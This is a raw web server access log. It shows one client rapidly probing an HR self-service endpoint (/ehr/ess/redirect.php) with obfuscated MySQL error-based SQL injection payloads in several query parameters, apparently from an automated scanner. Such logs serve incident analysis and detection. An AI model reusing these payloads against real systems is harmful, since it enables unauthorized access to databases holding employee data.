100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4e4b4c38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d7a6234%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FQRlq&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6e424230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6957324f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FYuCf&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6e424230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6957324f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FYuCf&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4664536c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43314f7a%29%29x%29%29%23%2F%2A%2A%2F3dcY&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4664536c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43314f7a%29%29x%29%29%23%2F%2A%2A%2F3dcY&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7555736b%2C%28NULL%29%2C0x4a697177%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F0ylx%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7555736b%2C%28NULL%29%2C0x4a697177%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F0ylx%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4d773130%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46634365%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FW6Ss&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4d773130%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46634365%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FW6Ss&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x754c7856%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35665767%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2F9Jyn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x754c7856%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35665767%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2F9Jyn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x71574f54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6859306d%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2Fp1S3&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x71574f54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6859306d%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2Fp1S3&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a333344%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f664c6f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FMCIJ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a333344%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f664c6f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FMCIJ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x52483766%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d696a58%29%2C6420%29%23%2F%2A%2A%2FGGVS&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x52483766%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d696a58%29%2C6420%29%23%2F%2A%2A%2FGGVS&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b376469%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e61624a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FmeZA&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b376469%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e61624a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FmeZA&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53487472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44694d78%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fkn99%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53487472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44694d78%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fkn99%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x48315a48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b74634e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F7WXT&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x48315a48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b74634e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F7WXT&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x63716e71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53346a67%29%29%23%2F%2A%2A%2FlNRa&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x63716e71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53346a67%29%29%23%2F%2A%2A%2FlNRa&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x44337851%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78707575%29%2C6420%29%23%2F%2A%2A%2FwJtn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x44337851%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78707575%29%2C6420%29%23%2F%2A%2A%2FwJtn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4a474838%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70743365%29%29%23%2F%2A%2A%2Fac3N&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4a474838%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70743365%29%29%23%2F%2A%2A%2Fac3N&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e6e6174%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f684c74%29%2C5431%29%23%2F%2A%2A%2Fp42p&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e6e6174%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f684c74%29%2C5431%29%23%2F%2A%2A%2Fp42p&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x315a7756%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a717464%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FMpRm&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x315a7756%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a717464%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FMpRm&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x56653950%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5735516d%29%29x%29%29%23%2F%2A%2A%2FYarR&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x56653950%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5735516d%29%29x%29%29%23%2F%2A%2A%2FYarR&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x70635836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37464e42%29%2C5431%29%23%2F%2A%2A%2FsoxN&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x70635836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37464e42%29%2C5431%29%23%2F%2A%2A%2FsoxN&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64765238%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5649767a%29%29x%29%29%23%2F%2A%2A%2F72Hn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
